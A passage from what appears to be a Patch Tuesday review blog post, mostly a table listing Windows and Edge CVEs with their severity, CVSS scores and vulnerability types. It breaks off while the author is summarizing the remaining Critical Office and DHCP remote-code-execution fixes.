Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows 